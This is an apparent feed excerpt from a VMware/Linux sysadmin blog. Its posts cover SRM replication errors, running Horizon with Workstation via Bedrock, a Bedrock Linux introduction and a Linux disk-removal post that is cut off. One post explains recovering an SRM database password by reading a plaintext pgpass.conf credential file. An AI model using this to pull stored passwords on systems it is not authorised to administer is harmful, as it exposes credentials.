  &lt;/figure&gt;


&lt;p&gt;Pretty standard isn&amp;rsquo;t it? Well, if you&amp;rsquo;d take a closer look, you&amp;rsquo;d notice something isn&amp;rsquo;t quite right in here. Let&amp;rsquo;s see that again, shall we?&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/211201-disabled-srm-vmdk-issue/error_ghost.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;See that now? It&amp;rsquo;s the ghost of VMware Replication which is causing this error! This environment doesn&amp;rsquo;t actually have (nor it ever had) vSphere Replication enabled. What&amp;rsquo;s actually happening here is that the VM is question used to be hosted in a different vSphere environment with vSphere Replication and at some point was transferred over to the new one &amp;ldquo;in a dirty way&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;To resolve that issue and get rid of that message, all we actually have to do is to log into the relevant ESXi console and&amp;hellip;&lt;/p&gt;
&lt;p&gt;Retrieve a VMID of the VM:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@lab.ssh.guru:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; vim-cmd vmsvc/getallvms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once retrieved, run the following two commands (obviously, replace &lt;code&gt;VMID&lt;/code&gt; with whatever number you got in the first step):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@lab.ssh.guru:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; vim-cmd vmsvc/vmreplica.stopOfflineInstance VMID
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@lab.ssh.guru:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; vim-cmd vmsvc/vmreplica.disable VMID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lastly, restart the management services on the host ESXi:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@lab.ssh.guru:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; vpxa restart
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@lab.ssh.guru:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; hostd restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At this point, the issue should be gone and the expansion of the disk should work as expected.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>VMware Horizon and Workstation on Linux (together!)</title>
      <link>/posts/211001-horizon-workstation-linux/</link>
      <pubDate>Fri, 01 Oct 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/211001-horizon-workstation-linux/</guid>
      <description>Today, after few months of trying to get this done, I finally have a solution to a problem nobody could solve (or at least, it seems like nobody could according to my Google searches&amp;hellip;): installing VMware Horizon and VMware Workstation on the same Linux machine.
Background When trying to install Horizon on top of an existing Workstation installation on any Linux distribution, you will receive an error similar to the one below:</description>
      <content>&lt;p&gt;Today, after few months of trying to get this done, I finally have a solution to a problem nobody could solve (or at least, it seems  like nobody could according to my Google searches&amp;hellip;): installing VMware  Horizon and VMware Workstation on the same Linux machine.&lt;/p&gt;
&lt;h3 id=&#34;background&#34;&gt;Background&lt;/h3&gt;
&lt;p&gt;When trying to install Horizon on top of an existing Workstation installation on any Linux distribution, you will receive an error similar to the one below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/211001-horizon-workstation-linux/error.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;According to my Google research, there is no fix for this as both Workstation and Horizon require an access to the same file at the same time and both are refusing to share (just like any siblings would!)&lt;/p&gt;
&lt;h3 id=&#34;the-solution&#34;&gt;The Solution&lt;/h3&gt;
&lt;p&gt;After months of trying different &amp;ldquo;hacks&amp;rdquo; to get this setup working, I eventually stumbled across Bedrock. I won&amp;rsquo;t go into much detail in this post, so let me summarize to you quickly here - Bedrock is a &amp;ldquo;meta&amp;rdquo; Linux distribution (I&amp;rsquo;d consider using a term &amp;ldquo;distro add-on&amp;rdquo;) allowing you to run packages from Debian on Arch, Arch on Fedora, CentOS on Void etc. etc. etc.&lt;/p&gt;
&lt;p&gt;You can learn more about Bedrock in my previous post: &lt;a href=&#34;https://ssh.guru/bedrock-linux-the-freedom-of-choice/&#34;&gt;Bedrock Linux - The Freedom of Choice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bedrock achieves this by basically turning your distro into a sort of &amp;ldquo;multi-distro Linux&amp;rdquo;. Once you have Bedrock installed, you can add new distribution &lt;code&gt;strata&lt;/code&gt; to your OS - in simple terms, this means you can install Debian &amp;ldquo;soul&amp;rdquo; on top of your current distribution.&lt;/p&gt;
&lt;p&gt;A little note here, &lt;strong&gt;Bedrock is not a virtualization technology nor a container&lt;/strong&gt; - &lt;a href=&#34;https://bedrocklinux.org/faq.html#vs_virtual_machine&#34;&gt;Bedrock vs VMs&lt;/a&gt;; &lt;a href=&#34;https://bedrocklinux.org/faq.html#vs_container&#34;&gt;Bedrock vs Containers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The cooperation between your &amp;ldquo;main/host&amp;rdquo; Linux distribution and the new distributions imported as &lt;code&gt;strata&lt;/code&gt; is seamless. With Bedrock, running a command like the one below on Arch is totally acceptable:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # sudo apt update &amp;amp;&amp;amp; pacman -Syu
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do you know now what I did to run Horizon and Workstation side-by-side? If not, let me show you here really quick:&lt;/p&gt;
&lt;h3 id=&#34;step-one---install-horizon-or-workstation-on-your-current-system&#34;&gt;Step One - Install Horizon (or) Workstation on your current system&lt;/h3&gt;
&lt;p&gt;In this example, my laptop is running pure Arch* with GNOME desktop. After getting &lt;code&gt;yaourt&lt;/code&gt; from AUR, installing Horizon wasn&amp;rsquo;t too much of a hassle:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # yaourt vmware-horizon-client
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you don&amp;rsquo;t trust AUR helpers, you can instead build Horizon Client directly uusing the PKGBUILD script from AUR.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;*any other dsitribution compatibile with VMware Horizon Client and &amp;ldquo;hijackable&amp;rdquo; with Bedrock (Debian, Ubuntu, Fedora, VOID etc.) can be used instead of Arch.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-two---install-bedrock&#34;&gt;Step Two - Install Bedrock&lt;/h3&gt;
&lt;p&gt;Before we move on, let me warn you - installing Bedrock is a one-way trip. Unless you have your system backed up, you won&amp;rsquo;t be able to go back to vanilla Linux. Either take a full backup now or try following this guide on a VM first.&lt;/p&gt;
&lt;p&gt;To install Bedrock, download the bash installation script from the official repo:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://raw.githubusercontent.com/bedrocklinux/bedrocklinux-userland/0.7/releases&#34;&gt;https://raw.githubusercontent.com/bedrocklinux/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;At the moment, the live script can be found at:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/bedrocklinux/bedrocklinux-userland/releases/download/0.7.3/bedrock-linux-0.7.3-x86_64.sh&#34;&gt;https://github.com/bedrocklinux/bedrocklinux-userland/releases/download/0.7.3/bedrock-linux-0.7.3-x86_64.sh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We can easily get it on our Linux with &lt;code&gt;wget&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # wget https://github.com/bedrocklinux/bedrocklinux-userland/releases/download/0.7.3/bedrock-linux-0.7.3-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Afterwards, we need to make the script executable.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # chmod +x ./bedrock-linux-0.7.3-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lastly, we need to run said script (as sudo/root) and follow the instructions given.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # sh ./bedrock-linux-0.7.3-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After a while, we&amp;rsquo;ll be asked to reboot.&lt;/p&gt;
&lt;h3 id=&#34;step-three---adding-debian-to-bedrock&#34;&gt;Step Three - Adding Debian to Bedrock&lt;/h3&gt;
&lt;p&gt;Now comes the time when we finally begin to play around with some Linux magic.&lt;/p&gt;
&lt;p&gt;To install Debian on top of Arch using Bedrock (I still can&amp;rsquo;t get used to how cool it sounds), we can run the following command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # brl fetch debian
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The system will download some bits and pieces and after about 15min, we&amp;rsquo;ll have our Debian &lt;code&gt;strata&lt;/code&gt; ready for use.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # brl list
arch
bedrock
debian
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;step-four---install-vmware-workstation-using-debian&#34;&gt;Step Four - Install VMware Workstation using Debian&lt;/h3&gt;
&lt;p&gt;Before we can install it, we&amp;rsquo;ll have to download it! Point your browser to the link below to download the latest version of VMware Workstation Pro for Linux:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.vmware.com/go/getworkstation-linux&#34;&gt;https://www.vmware.com/go/getworkstation-linux&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once downloaded, open up your download directory in terminal and make the installation file executable:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # chmod +x VMware-Workstation-Full-15.0.4-12990004.x86_64.bundle
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once you have that done, you can launch the installation process from the terminal. The Debian &lt;code&gt;strata&lt;/code&gt; will be automatically picked up and used for the installation.&lt;/p&gt;
&lt;p&gt;Answer all the questions asked by the installer and let if finish. Do not attempt launching Workstation yet.&lt;/p&gt;
&lt;h3 id=&#34;step-five---patching-the-kernel&#34;&gt;Step Five - Patching the Kernel&lt;/h3&gt;
&lt;p&gt;The last thing which has to be done is patching the kernel. This can easily by done using a patch created by &lt;a href=&#34;https://github.com/mkubecek&#34;&gt;mkubecek&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s start by downloading and extracting the patch archive*:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # wget https://github.com/mkubecek/vmware-host-modules/archive/workstation-15.0.4.tar.gz
root # tar -xzf workstation-15.0.4.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Apply the patch to the kernel by issuing &lt;code&gt;make&lt;/code&gt; and &lt;code&gt;make install&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root # cd vmware-host-modules-workstation-15.0.4
root # make
root # make install
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, let it run for a bit. You shouldn&amp;rsquo;t have to wait for than 5-6 minutes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;*always make sure to replace the&lt;/em&gt; &lt;code&gt;version number&lt;/code&gt; &lt;em&gt;in the two examples above with a correct release of Workstation you installed in step four&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&#34;result&#34;&gt;Result&lt;/h3&gt;
&lt;p&gt;I don&amp;rsquo;t think I need to say anything more. Just look at this screenshot below and enjoy:&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/images/2019/04/Screenshot-from-2019-04-18-11-56-44.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The two applications are accessible to each other and fully compatibile (even though one of them is running &amp;ldquo;mostly&amp;rdquo; under Arch and the other &amp;ldquo;mostly&amp;rdquo; under Debian). I&amp;rsquo;ve been using both for quite some time now in this configuration and I haven&amp;rsquo;t encountered any issues so far.&lt;/p&gt;
&lt;p&gt;This solution works because VMware Horizon was installed in the Arch &lt;code&gt;strata&lt;/code&gt; (and the &lt;code&gt;yaourt&lt;/code&gt; AUR helper), while VMware Workstation was placed under Debian &lt;code&gt;strata&lt;/code&gt; (Bedrock chose Debian for the installation in step four as &lt;code&gt;.bundle&lt;/code&gt; files are not supported by Arch). This way, we duplicated the problematic system file(s) and, instead of forcing Horizon &amp;amp; Workstation to share them, we assigned them parallel copies of these files.&lt;/p&gt;
&lt;p&gt;I hope some poor soul who struggled just like me to get this working will stumble across this post. I wish I would back when I was trying to figure out how to get this working :)&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Easy SRM password recovery</title>
      <link>/posts/210801-easy-srm-pass-recovery/</link>
      <pubDate>Sun, 01 Aug 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/210801-easy-srm-pass-recovery/</guid>
      <description>Some time ago, I wanted to upgrade an SRM deployment on one of the sites we manage. Problem was, the customer in question had absolutely no idea what the SRM (embedded!*) database password is. One of my co-workers found a guide explaining a way for resetting said password - this solution turned out to be pretty complicated (it involved messing around with SRM config files etc.) and, once implemented, it caused a corruption in the SRM database (I&amp;rsquo;m still unsure how exactly that happened&amp;hellip;)</description>
      <content>&lt;p&gt;Some time ago, I wanted to upgrade an SRM deployment on one of the sites we manage. Problem was, the customer in question had absolutely no idea what the SRM (embedded!*) database password is. One of my co-workers found a &lt;a href=&#34;https://www.virtuallypeculiar.com/2018/01/resetting-site-recovery-managers.html&#34;&gt;guide&lt;/a&gt; explaining a way for resetting said password - this solution turned out to be pretty complicated (it involved messing around with SRM config files etc.) and, once implemented, it caused a corruption in the SRM database (I&amp;rsquo;m still unsure how exactly that happened&amp;hellip;)&lt;/p&gt;
&lt;p&gt;Once we rolled SRM back to the latest snapshot, I&amp;rsquo;ve sat down to it myself and discovered a much easier way to recover this password. I&amp;rsquo;ve quickly discovered that this way of getting the password back is not really well known so I decided to post it here.&lt;/p&gt;
&lt;h2 id=&#34;the-pgpassconf-file&#34;&gt;The pgpass.conf file&lt;/h2&gt;
&lt;p&gt;Turns out, the easiest way of finding out what&amp;rsquo;s the database password is to find a file called &lt;code&gt;pgpass.conf&lt;/code&gt;; said file should be located in the home directory of the user who originally installed SRM on the server:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\postgressql\
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;pgpass.conf&lt;/code&gt; should be the only file located in the above directory and is fully readable by a standard Windows Notepad. Once you open it up, you should see a list of database names, database logins and associated passwords in &lt;strong&gt;plaintext&lt;/strong&gt; (&amp;ldquo;security at its finest&amp;rdquo; I guess&amp;hellip;)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;*Unfortunately, this solutions works only for SRM deployments with embedded database&amp;hellip;&lt;/em&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Bedrock Linux - The freedom of choice</title>
      <link>/posts/210601-bedrock-linux/</link>
      <pubDate>Tue, 01 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/210601-bedrock-linux/</guid>
      <description>Have you ever used a single Linux distribution for a prolonged period of time? If you answered &amp;lsquo;yes&amp;rsquo;, then it&amp;rsquo;s more than likely at some point you&amp;rsquo;ve tried to install a package which is not natively supported by your distro&amp;rsquo;s package manager.
This problem is obviously more common on Debian/Redhat/SUSE based systems and less likely to happen on Arch etc.; nevertheless - whenever it happens, it&amp;rsquo;s very infuriating.
Recently, a solution to that problem has emerged on the Linux scene - the Bedrock Linux - a dsitro, which isn&amp;rsquo;t a distro, but at the same time it&amp;rsquo;s all distros combined.</description>
      <content>&lt;p&gt;Have you ever used a single Linux distribution for a prolonged period of time? If you answered &amp;lsquo;yes&amp;rsquo;, then it&amp;rsquo;s more than likely at some point you&amp;rsquo;ve tried to install a package which is not natively supported by your distro&amp;rsquo;s package manager.&lt;/p&gt;
&lt;p&gt;This problem is obviously more common on Debian/Redhat/SUSE based systems and less likely to happen on Arch etc.; nevertheless - whenever it happens, it&amp;rsquo;s very infuriating.&lt;/p&gt;
&lt;p&gt;Recently, a solution to that problem has emerged on the Linux scene - the Bedrock Linux - a dsitro, which isn&amp;rsquo;t a distro, but at the same time it&amp;rsquo;s all distros combined.&lt;/p&gt;
&lt;p&gt;Are you confused yet? Prepare for some more Linux magic incoming.&lt;/p&gt;
&lt;p&gt;Bedrock Linux is a meta Linux distribution which allows users to utilize  features from other, typically mutually exclusive distributions.  Essentially, users can mix-and-match components and packages as desired  from multiple Linux distributions and have them work seamlessly side-by-side.&lt;/p&gt;
&lt;p&gt;Bedrock Linux&amp;rsquo;s goal of letting users enjoy features from other Linux distributions.  To achieve this, Bedrock provides a script which hijacks a given traditional Linux distribution install and converts it into a Bedrock Linux install.&lt;/p&gt;
&lt;p&gt;Some Bedrock users like to refer to their installs as &amp;ldquo;Hijacked X&amp;rdquo; - for example, I could say (as I&amp;rsquo;m using Bedrock with Arch Linux as its &amp;ldquo;base&amp;rdquo;) I&amp;rsquo;m using a &amp;ldquo;Hijacked Arch&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;installing-or-hijacking-distros-with-bedrock&#34;&gt;Installing (or hijacking distros with) Bedrock&lt;/h3&gt;
&lt;p&gt;Thus, the first step is to install a traditional Linux distribution.  Some considerations to help you decide which traditional Linux distribution to install include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bedrock Linux currently supports &lt;code&gt;x86_64&lt;/code&gt; and &lt;code&gt;arm7vl&lt;/code&gt;.  Other architectures may work but will require you compile the installer and updates yourself.  They will also lack &lt;code&gt;brl fetch&lt;/code&gt; functionality.&lt;/li&gt;
&lt;li&gt;All of the initial install&amp;rsquo;s distro-specific files may later be easily removed.  It may be best to think of the hijack install process as installing Bedrock &lt;em&gt;under&lt;/em&gt; the initial install, not &lt;em&gt;over&lt;/em&gt; it.  Bedrock becomes the base of the system, with the initial install&amp;rsquo;s files a removable layer on top.  Hence Bedrock&amp;rsquo;s name.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can see &lt;a href=&#34;https://bedrocklinux.org/0.7/distro-support.html&#34;&gt;the distro support page&lt;/a&gt; on the official Bedrock&amp;rsquo;s page for distros which Bedrock is known to be able to hijack well.&lt;/p&gt;
&lt;p&gt;After preparing the installed Linux system as you usually would, download the latest installer corresponding to your CPU architecture &lt;a href=&#34;https://raw.githubusercontent.com/bedrocklinux/bedrocklinux-userland/0.7/releases&#34;&gt;from here&lt;/a&gt; or build your own &lt;a href=&#34;https://github.com/bedrocklinux/bedrocklinux-userland/tree/0.7&#34;&gt;from here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Having that done, run the script as root with the &lt;code&gt;--hijack&lt;/code&gt; flag:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sh bedrock-linux-release-arch.sh --hijack
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Confirm at the prompt you understand what the script is doing, then allow it to convert the existing install into Bedrock Linux.  Finally, once it has completed successfully, reboot.&lt;/p&gt;
&lt;p&gt;Do NOT attempt to install Bedrock on ANY Linux systems you are currently using for production or test (unless you&amp;rsquo;re ready to lose it). Bedrock installation CANNOT be reverted without a third-party backup and it is NOT suitable for high-compute use cases (yet). I suggest you should firstly test it out on a new, clean VM before attemtping to convert an &amp;ldquo;old&amp;rdquo; system.&lt;/p&gt;
&lt;p&gt;If you see a new init selection menu during the boot process, congratulations!  You&amp;rsquo;re now running Bedrock Linux.&lt;/p&gt;
&lt;p&gt;Before we&amp;rsquo;ll move on to what can you do in Bedrock, we need to discuss some very important concepts first.&lt;/p&gt;
&lt;h3 id=&#34;glossary-of-bedrock&#34;&gt;Glossary of Bedrock&lt;/h3&gt;
&lt;p&gt;Many Linux distributions are composed of packages, which are collections of related files.  In such distros most distro-specific files and processes are associated with some package.  For example, &lt;code&gt;/usr/bin/vim&lt;/code&gt; may be provided by the &lt;code&gt;vim&lt;/code&gt; package.  Packages are typically written with the expectation of interacting with other packages from the same Linux distribution release. For example, an executable from one package may utilize a library provided by another package.  This interaction expectation typically breaks down across packages from different Linux distributions, or even packages across different releases of the same distribution.  For example, two packages from different distributions may each expect a different build of a library at the same file path.&lt;/p&gt;
&lt;p&gt;A Bedrock Linux system is composed &lt;code&gt;strata&lt;/code&gt;.  Like packages, these are collections of related files.  Unlike packages, however, &lt;code&gt;strata&lt;/code&gt; have a relatively high degree of tolerance for interacting with other files from other Linux distributions.  A Bedrock system may be composed of &lt;code&gt;strata&lt;/code&gt; that each expect a different build of a library at the same file path but still work, and work together.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Strata&lt;/code&gt; are often one-to-one with traditional Linux distribution installs. One may have an Arch &lt;code&gt;stratum&lt;/code&gt;, a Debian &lt;code&gt;stratum&lt;/code&gt;, a Gentoo &lt;code&gt;stratum&lt;/code&gt;, etc.  However, they do not have to be related to Linux distributions.  For example, one may have a stratum that is composed of a single man page.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Every&lt;/em&gt; process and every file on a Bedrock Linux system is associated with some &lt;code&gt;stratum&lt;/code&gt;. &lt;code&gt;Global&lt;/code&gt; files (described below) are associated with the &lt;code&gt;bedrock&lt;/code&gt;  &lt;code&gt;stratum&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;time-to-test-some-bedrock-commands&#34;&gt;Time to test some Bedrock commands&lt;/h3&gt;
&lt;p&gt;A Bedrock Linux system is composed of &lt;code&gt;strata&lt;/code&gt;, which are collections of interrelated files.  These are often one-to-one with traditional Linux distribution installs: one may have an Arch &lt;code&gt;stratum&lt;/code&gt;, a Debian &lt;code&gt;stratum&lt;/code&gt;, a Gentoo &lt;code&gt;stratum&lt;/code&gt;, etc.  Bedrock integrates these &lt;code&gt;strata&lt;/code&gt; together creating a single, largely cohesive system.&lt;/p&gt;
&lt;p&gt;To list the currently installed (and enabled) &lt;code&gt;strata,&lt;/code&gt; run:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;brl list&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A fresh install will have two &lt;code&gt;strata&lt;/code&gt;: Bedrock itself and the initial install. This, alone, is of little more immediate value than just the initial install. To benefit from Bedrock more &lt;code&gt;strata&lt;/code&gt; are needed.  To list distros Bedrock knows how to acquire as &lt;code&gt;strata&lt;/code&gt;, run:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;brl fetch --list&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then to acquire new &lt;code&gt;strata&lt;/code&gt;, run (as root):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brl fetch &amp;lt;distros&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That may fail if it auto-detects a bad mirror.  If so, manually find a good mirror for the distro and provide it to &lt;code&gt;brl fetch&lt;/code&gt; with the &lt;code&gt;--mirror&lt;/code&gt; flag.&lt;/p&gt;
&lt;p&gt;You may remove strata with&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brl remove &amp;lt;strata&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once &lt;code&gt;brl fetch&lt;/code&gt; has completed you may run commands from the new &lt;code&gt;strata&lt;/code&gt;.  For example, the following series of commands make sense on a Bedrock system:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo brl fetch arch debian
sudo pacman -S mupdf &amp;amp;&amp;amp; sudo apt install texlive
pdflatex file.tex &amp;amp;&amp;amp; mupdf file.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Bedrock&amp;rsquo;s integration is not limited to the command line commands.  Other features which work across &lt;code&gt;strata&lt;/code&gt; include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Graphical application menus or launchers will automatically pick up applications across &lt;code&gt;strata.&lt;/code&gt; For example, Ubuntu&amp;rsquo;s Unity will offer launching Gentoo&amp;rsquo;s &lt;code&gt;vlc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Shell tab completion.  For example, Gentoo&amp;rsquo;s &lt;code&gt;zsh&lt;/code&gt; will tab complete Arch&amp;rsquo;s &lt;code&gt;pacman&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The Linux kernel will detect firmware across &lt;code&gt;strata&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Xorg fonts work across &lt;code&gt;strata&lt;/code&gt;.  For example, Arch&amp;rsquo;s &lt;code&gt;firefox&lt;/code&gt; will detect Gentoo&amp;rsquo;s terminus font.&lt;/li&gt;
&lt;li&gt;Various graphical theming information work across &lt;code&gt;strata&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Man and info pages work across &lt;code&gt;strata&lt;/code&gt;.  For example, Arch&amp;rsquo;s &lt;code&gt;man&lt;/code&gt; will display Void&amp;rsquo;s &lt;code&gt;xbps-install&lt;/code&gt; man page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;bedrock-ftw&#34;&gt;Bedrock FTW?&lt;/h3&gt;
&lt;p&gt;As  interesting as Bedrock seems to be right now, it will definitely have  to grow before it will be a reliable option for running Debian packages  on RedHat, RedHat&amp;rsquo;s on Arch, Arch&amp;rsquo;s on Ubuntu etc. etc.&lt;/p&gt;
&lt;p&gt;I  wouldn&amp;rsquo;t be sure if Bedrock ever matches the reliability of virtual  machines or containers, but definitely (even in its current state), it  is much more convenient. In my opinion, Bedrock is could be called &amp;ldquo;a  WINE for Linux Distros&amp;rdquo; while trying to explain what it is to a newbie.&lt;/p&gt;
&lt;p&gt;What do you think? Are you going to test Bedrock out on a virtual machine or are you going to convert your &amp;ldquo;working&amp;rdquo; Linux to Bedrock? Let me know in the comments!&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Linux VMDK Management</title>
      <link>/posts/210401-linux-vmdk-management/</link>
      <pubDate>Thu, 01 Apr 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/210401-linux-vmdk-management/</guid>
      <description>Recently, I was asked to remove an old virtual disk from a VM running Linux operating system and replace it with a new one. Seems pretty simple, right?
Well, as it turned out, managing &amp;ldquo;physical&amp;rdquo; volumes on Linux is a very interesting topic for many of my colleagues, so I decided to create this post and explain here in detail how should you approach such task.
Removing a volume from the guest (Linux) perspective Before removing the virtual disk from VMware-level, we need to ensure the guest OS using it will not be affected in any way.</description>
      <content>&lt;p&gt;Recently, I was asked to remove an old virtual disk from a VM running Linux operating system and replace it with a new one. Seems pretty simple, right?&lt;/p&gt;
&lt;p&gt;Well, as it turned out, managing &amp;ldquo;physical&amp;rdquo; volumes on Linux is a very interesting topic for many of my colleagues, so I decided to create this post and explain here in detail how should you approach such task.&lt;/p&gt;
&lt;h3 id=&#34;removing-a-volume-from-the-guest-linux-perspective&#34;&gt;Removing a volume from the guest (Linux) perspective&lt;/h3&gt;
&lt;p&gt;Before removing the virtual disk from VMware-level, we need to ensure the guest OS using it will not be affected in any way. In Linux, this can be achieved by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;stopping all processes which might be using said disk,&lt;/li&gt;
&lt;li&gt;unmounting the disk from the filesystem,&lt;/li&gt;
&lt;li&gt;and, finally, rescanning the storage controller.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this post we are going to assume we are in root-level control of a RHEL VM with two physical volumes: &lt;code&gt;/dev/sda&lt;/code&gt; and &lt;code&gt;/dev/sdb&lt;/code&gt;; the latter being the drive we want to remove mounted at &lt;code&gt;/junk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s begin with the first bit - stopping (or killing) all processes using the unneeded drive.&lt;/p&gt;
&lt;p&gt;Taking it slow, review if there are actually any processes stopping us from removing the drive:&lt;/p&gt;
